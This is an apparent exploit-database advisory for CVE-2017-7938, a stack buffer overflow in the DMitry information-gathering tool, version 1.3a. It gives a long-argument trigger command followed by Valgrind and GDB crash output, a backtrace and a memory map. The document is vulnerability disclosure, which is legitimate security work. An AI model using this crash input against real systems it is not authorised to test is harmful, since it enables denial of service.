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6.4 KiB
Text
107 lines
No EOL
6.4 KiB
Text
################
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#Exploit Title: Dmitry(Deepmagic Information Gathering Tool) Local Stack Buffer Overflow
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#CVE: CVE-2017-7938
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#CWE: CWE-119
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#Exploit Author: Hosein Askari (FarazPajohan)
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#Vendor HomePage: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/
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#Version : 1.3a (Unix)
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#Exploit Tested on: Parrot OS
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#Date: 19-04-2017
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#Category: Application
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#Author Mail : hosein.askari@aol.com
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#Description: Buffer overflow in DMitry (Deepmagic Information Gathering Tool) version 1.3a (Unix) allows attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a long argument. An example threat model is automated execution of DMitry with hostname strings found in local log files.
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###############################
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#valgrind dmitry $(python -c 'print "A"*64')
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==11312== Memcheck, a memory error detector
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==11312== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
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==11312== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
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==11312== Command: dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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==11312==
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Deepmagic Information Gathering Tool
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"There be some deep magic going on"
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ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Continuing with limited modules
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HostIP:
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HostName:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Gathered Inic-whois information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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---------------------------------
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Error: Unable to connect - Invalid Host
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ERROR: Connection to InicWhois Server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA failed
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Gathered Netcraft information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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---------------------------------
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Retrieving Netcraft.com information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Netcraft.com Information gathered
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**11312** *** strcpy_chk: buffer overflow detected ***: program terminated
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==11312== at 0x4030DD7: VALGRIND_PRINTF_BACKTRACE (valgrind.h:6818)
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==11312== by 0x40353AA: __strcpy_chk (vg_replace_strmem.c:1439)
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==11312== by 0x804B5F7: ??? (in /usr/bin/dmitry)
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==11312== by 0x8048ED8: ??? (in /usr/bin/dmitry)
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==11312== by 0x407D275: (below main) (libc-start.c:291)
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==11312==
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==11312== HEAP SUMMARY:
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==11312== in use at exit: 0 bytes in 0 blocks
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==11312== total heap usage: 82 allocs, 82 frees, 238,896 bytes allocated
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==11312==
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==11312== All heap blocks were freed -- no leaks are possible
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==11312==
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==11312== For counts of detected and suppressed errors, rerun with: -v
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==11312== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
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======================================
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GDB output:
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(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Starting program: /usr/bin/dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Deepmagic Information Gathering Tool
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"There be some deep magic going on"
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ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Continuing with limited modules
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*** buffer overflow detected ***: /usr/bin/dmitry terminated
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======= Backtrace: =========
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/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb7e5a37a]
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/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb7eeae17]
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/lib/i386-linux-gnu/libc.so.6(+0xf60b8)[0xb7ee90b8]
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/lib/i386-linux-gnu/libc.so.6(+0xf56af)[0xb7ee86af]
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/usr/bin/dmitry[0x8048e04]
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/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e0b276]
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/usr/bin/dmitry[0x80490a4]
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======= Memory map: ========
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08048000-0804f000 r-xp 00000000 08:01 7209647 /usr/bin/dmitry
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0804f000-08050000 r--p 00006000 08:01 7209647 /usr/bin/dmitry
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08050000-08051000 rw-p 00007000 08:01 7209647 /usr/bin/dmitry
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08051000-08073000 rw-p 00000000 00:00 0 [heap]
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b7d9f000-b7dbb000 r-xp 00000000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
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b7dbb000-b7dbc000 r--p 0001b000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
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b7dbc000-b7dbd000 rw-p 0001c000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1
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b7dbd000-b7dd1000 r-xp 00000000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
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b7dd1000-b7dd2000 r--p 00013000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
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b7dd2000-b7dd3000 rw-p 00014000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so
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b7dd3000-b7dd5000 rw-p 00000000 00:00 0
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b7dd5000-b7dda000 r-xp 00000000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
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b7dda000-b7ddb000 r--p 00004000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
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b7ddb000-b7ddc000 rw-p 00005000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so
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b7ddc000-b7dde000 r-xp 00000000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
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b7dde000-b7ddf000 r--p 00001000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
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b7ddf000-b7de0000 rw-p 00002000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
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b7de0000-b7deb000 r-xp 00000000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
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b7deb000-b7dec000 r--p 0000a000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
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b7dec000-b7ded000 rw-p 0000b000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so
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b7ded000-b7df3000 rw-p 00000000 00:00 0
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b7df3000-b7fa4000 r-xp 00000000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
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b7fa4000-b7fa6000 r--p 001b0000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
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b7fa6000-b7fa7000 rw-p 001b2000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so
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b7fa7000-b7faa000 rw-p 00000000 00:00 0
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b7fd4000-b7fd7000 rw-p 00000000 00:00 0
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b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar]
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b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
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b7fdb000-b7ffd000 r-xp 00000000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
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b7ffd000-b7ffe000 rw-p 00000000 00:00 0
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b7ffe000-b7fff000 r--p 00022000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
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b7fff000-b8000000 rw-p 00023000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so
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bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
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Program received signal SIGABRT, Aborted.
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0xb7fd9cf9 in __kernel_vsyscall () |